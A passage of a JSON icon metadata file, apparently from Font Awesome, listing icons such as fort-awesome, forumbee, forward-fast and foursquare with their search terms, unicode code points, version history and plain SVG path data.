        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M247.5 25.4c-13.5 3.3-26.4 7.2-38.6 11.7C142.9 61.6 96.7 103.6 66 153.6c-18.3 29.8-30.9 62.3-39.2 95.4L264.5 486.6c13.5-3.3 26.4-7.2 38.6-11.7c66-24.5 112.2-66.5 142.9-116.5c18.3-29.8 30.9-62.3 39.1-95.3L247.5 25.4zM495.2 205.3c6.1-56.8 1.4-112.2-7.7-156.4c-2.7-12.9-13-22.9-26.1-25.1c-58.2-9.7-109.9-12-155.6-7.9L495.2 205.3zM206.1 496L16.8 306.7c-6.1 56.8-1.4 112.2 7.7 156.4c2.7 12.9 13 22.9 26.1 25.1c58.2 9.7 109.9 12 155.6 7.9zm54.6-331.3c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6zm-48 48c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6zm-48 48c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M247.5 25.4c-13.5 3.3-26.4 7.2-38.6 11.7C142.9 61.6 96.7 103.6 66 153.6c-18.3 29.8-30.9 62.3-39.2 95.4L264.5 486.6c13.5-3.3 26.4-7.2 38.6-11.7c66-24.5 112.2-66.5 142.9-116.5c18.3-29.8 30.9-62.3 39.1-95.3L247.5 25.4zM495.2 205.3c6.1-56.8 1.4-112.2-7.7-156.4c-2.7-12.9-13-22.9-26.1-25.1c-58.2-9.7-109.9-12-155.6-7.9L495.2 205.3zM206.1 496L16.8 306.7c-6.1 56.8-1.4 112.2 7.7 156.4c2.7 12.9 13 22.9 26.1 25.1c58.2 9.7 109.9 12 155.6 7.9zm54.6-331.3c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6zm-48 48c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6zm-48 48c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "fort-awesome": {
    "changes": ["4.5.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": ["castle"]
    },
    "styles": ["brands"],
    "unicode": "f286",
    "label": "Fort Awesome",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z"
      }
    },
    "free": ["brands"]
  },
  "fort-awesome-alt": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["castle"]
    },
    "styles": ["brands"],
    "unicode": "f3a3",
    "label": "Alternate Fort Awesome",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z"
      }
    },
    "free": ["brands"]
  },
  "forumbee": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f211",
    "label": "Forumbee",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z"
      }
    },
    "free": ["brands"]
  },
  "forward": {
    "aliases": {
      "unicodes": {
        "composite": ["23e9"],
        "secondary": ["10f04e"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "double",
        "fast",
        "fast-forward button",
        "forward",
        "next",
        "skip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f04e",
    "label": "Forward",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M52.5 440.6c-9.5 7.9-22.8 9.7-34.1 4.4S0 428.4 0 416V96C0 83.6 7.2 72.3 18.4 67s24.5-3.6 34.1 4.4L224 214.3V256v41.7L52.5 440.6zM256 352V256 128 96c0-12.4 7.2-23.7 18.4-29s24.5-3.6 34.1 4.4l192 160c7.3 6.1 11.5 15.1 11.5 24.6s-4.2 18.5-11.5 24.6l-192 160c-9.5 7.9-22.8 9.7-34.1 4.4s-18.4-16.6-18.4-29V352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M52.5 440.6c-9.5 7.9-22.8 9.7-34.1 4.4S0 428.4 0 416V96C0 83.6 7.2 72.3 18.4 67s24.5-3.6 34.1 4.4L224 214.3V256v41.7L52.5 440.6zM256 352V256 128 96c0-12.4 7.2-23.7 18.4-29s24.5-3.6 34.1 4.4l192 160c7.3 6.1 11.5 15.1 11.5 24.6s-4.2 18.5-11.5 24.6l-192 160c-9.5 7.9-22.8 9.7-34.1 4.4s-18.4-16.6-18.4-29V352z"
      }
    },
    "free": ["solid"]
  },
  "forward-fast": {
    "aliases": {
      "names": ["fast-forward"],
      "unicodes": {
        "composite": ["23ed"],
        "secondary": ["10f050"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "end",
        "last",
        "next",
        "next scene",
        "next track",
        "next track button",
        "triangle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f050",
    "label": "Forward Fast",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M18.4 445c11.2 5.3 24.5 3.6 34.1-4.4L224 297.7V416c0 12.4 7.2 23.7 18.4 29s24.5 3.6 34.1-4.4L448 297.7V416c0 17.7 14.3 32 32 32s32-14.3 32-32V96c0-17.7-14.3-32-32-32s-32 14.3-32 32V214.3L276.5 71.4c-9.5-7.9-22.8-9.7-34.1-4.4S224 83.6 224 96V214.3L52.5 71.4c-9.5-7.9-22.8-9.7-34.1-4.4S0 83.6 0 96V416c0 12.4 7.2 23.7 18.4 29z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M18.4 445c11.2 5.3 24.5 3.6 34.1-4.4L224 297.7V416c0 12.4 7.2 23.7 18.4 29s24.5 3.6 34.1-4.4L448 297.7V416c0 17.7 14.3 32 32 32s32-14.3 32-32V96c0-17.7-14.3-32-32-32s-32 14.3-32 32V214.3L276.5 71.4c-9.5-7.9-22.8-9.7-34.1-4.4S224 83.6 224 96V214.3L52.5 71.4c-9.5-7.9-22.8-9.7-34.1-4.4S0 83.6 0 96V416c0 12.4 7.2 23.7 18.4 29z"
      }
    },
    "free": ["solid"]
  },
  "forward-step": {
    "aliases": {
      "names": ["step-forward"],
      "unicodes": {
        "secondary": ["10f051"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["end", "last", "next"]
    },
    "styles": ["solid"],
    "unicode": "f051",
    "label": "Forward Step",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M52.5 440.6c-9.5 7.9-22.8 9.7-34.1 4.4S0 428.4 0 416V96C0 83.6 7.2 72.3 18.4 67s24.5-3.6 34.1 4.4l192 160L256 241V96c0-17.7 14.3-32 32-32s32 14.3 32 32V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V271l-11.5 9.6-192 160z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M52.5 440.6c-9.5 7.9-22.8 9.7-34.1 4.4S0 428.4 0 416V96C0 83.6 7.2 72.3 18.4 67s24.5-3.6 34.1 4.4l192 160L256 241V96c0-17.7 14.3-32 32-32s32 14.3 32 32V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V271l-11.5 9.6-192 160z"
      }
    },
    "free": ["solid"]
  },
  "foursquare": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f180",
    "label": "Foursquare",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 368 512\"><path d=\"M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z\"/></svg>",
        "viewBox": [0, 0, 368, 512],
        "width": 368,
        "height": 512,
